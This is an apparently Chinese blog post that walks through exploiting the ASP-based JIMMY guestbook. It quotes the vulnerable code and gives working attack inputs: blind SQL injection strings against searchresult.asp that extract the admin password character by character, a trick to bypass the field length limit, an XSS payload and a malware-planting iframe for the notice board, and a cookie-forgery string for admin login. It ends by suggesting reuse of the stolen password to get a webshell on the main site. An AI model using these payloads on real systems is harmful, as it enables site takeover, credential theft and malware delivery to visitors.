首页 > 技术文章 > JIMMY中文站留言簿漏洞利用

JIMMY中文站留言簿漏洞利用

一.注入漏洞

漏洞文件edit.asp admin_editly.asp searchresult.asp

edit.asp代码分析:

<%
  dim id
    id=request("id")
    set rs=server.createobject("adodb.recordset")
    sql="select * from [guest] where id="&id
rs.open sql,conn,1,3
if rs("sessionid")=session.sessionid then
%>

一个典型的sql注入漏洞,程序用request直接获取id的值,没有经过任何的过滤,但是注意一下程序利用的

是session验证,也就是说,只有登陆后台,才有权限来构造语句。

admin_editly.asp代码分析:


<%
dim guestcontent
dim id
id=request("id")
guestcontent=request("guestcontent")
    set rs=server.createobject("adodb.recordset")
    sql="select guestcontent,id,sh from [guest] where id="&id
       rs.open sql,conn,1,3
if guestcontent<>"" then
rs("guestcontent")=guestcontent
rs("sh")=false
        rs.update
rsclose()
connclose() 
response.redirect "manage.asp"
end if
%>

漏洞与edit.asp如出一辙。同样直接获取id的值,没有任何过滤。虽然这里没有session验证,但是此文件的

开始有这么一句就是说 先得通过chkmanage.asp的验证才有权限登

陆这个页面。

searchresult.asp代码分析:

搜索型注入,everyone可以写。不用任何验证,它便是我们今天的主要对象。


<%
dim keyword
keyword=trim(request("keyword"))
classid=request("classid")
set rs=server.createobject("adodb.recordset")
if classid="留言内容" then
sql="select * from guest where guestcontent like '%"&keyword&"%'"
elseif classid="回复内容" then
sql="select * from guest where guestreply like '%"&keyword&"%'"
else
sql="select * from guest where guestname like '%"&keyword&"%'"
end if
rs.open sql,conn,3,1
Rs.pagesize=listnum
    page=Request("page")
    if (page-Rs.pagecount) > 0 then
    page=Rs.pagecount
    elseif page = "" or page < 1 then
    page = 1
    end if
%>

注意keyword这个变量 只用trim函数过滤掉了空格 显然没有过滤完全。

大家注意它的sql的查询方式,我们必须通过 关键字%' and [我们构造的语句] and '% 构成一个闭合查询语句

比如我们构造这个语句:keyword%' and 1=1 and '% 那么程序在执行的时候就会变成:

select * from guest where guestcontent like '%关键字%' and 1=1 and '%%'

这样就实现了注入。

这里我们在实际做的时候会遇到一些问题,但是我们可以本地提交。大家来看代码:


<INPUT maxLength=12 size=28 name=keyword>

程序限制了长度 12个字节 问题是 我们构造语句 12个是一定会超出的,这样的话 我们就以把searchresult.asp

这个文件保存到本地,然后补全action后面的url 在把maxlength改为120嘿嘿 够长了吧。。。。

关键字%' and ascii的值=(select top 1 asc(mid(password,1,1)) from admin) and '%

com%' and 97=(select top 1 asc(mid(username,1,1)) from admin) and '%

如果正确 则返回正常页面 否则程序会alert("没有符合条件的记录")

二.跨站漏洞

save.asp

server.HTMLEncode(guestname)<>guestname or InStr(guestname," ")<>0 or InStr(guestname," ")<>0 or InStr(guestname,"【")<>0 or InStr(guestname,"】")<>0 or InStr(guestname,"/")<>0 or InStr(guestname,"\")<>0 or InStr(guestname,"_")<>0 or InStr(guestname,"'")<>0 or InStr(guestname,".")<>0 

代码比较乱,但是我们可以看出htmlencode这个函数 肯定是一个过滤非法字符的。它就位于

我们来读下它的代码。


function HTMLEncode(fString)

    fString = replace(fString, ">", ">")

    fString = replace(fString, "<", "<")

    fString = Replace(fString, CHR(13), "")

    fString = Replace(fString, CHR(10) & CHR(10), "</P><P>")

    fString = Replace(fString, CHR(10), "<BR>")

    HTMLEncode = fString

end function

过滤掉了 很多跨站常用的字符。。。可以那么说,这里的跨站几乎是没戏了。。。那么我们把眼光移动到另

一个文件上。。。

undate_eidtnote.asp

这个文件 没有包含刚刚我们说的 char.asp 这个文件,那么跨站就成为轻而一举的事情了。。。


<%
notetitle=request("notetitle")
notebbs=request("guestcontent")
set rs=server.createobject("adodb.recordset")
sql="select notetitle,notebbs,notedate from [lybconfig] where id=1"
rs.open sql,conn,1,3
rs("notebbs")=(request("guestcontent"))
rs("notetitle")=(request("notetitle"))
rs("notedate")=Date()
    rs.update
rsclose()
connclose() 
%>

还是一样 直接获取 没有过滤。。。

构造语句:


<script>alert("品透泡菜")</script>

挂马代码:


<iframe src=http://www.baidu.com width=100 

放到公告栏里就行了。。。

但是该文件开头有那么一句

也就是说 只有登陆后台 才有权限来搞....

三.cookies欺骗

username=管理员名字&password=MD5加密&randomid=随便写数字

四.总结

由于这个留言簿的功能很简单,从它或者webshell比较困难,但是这个留言本可以说是一个插件,

如果你的运气够好的话,这个留言本的后台密码也许就是主站的后台密码。。。

这样获得webshell的几率就高了。。。

Powered by pintoupaocai

分类: 技术文章 标签: , ,
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.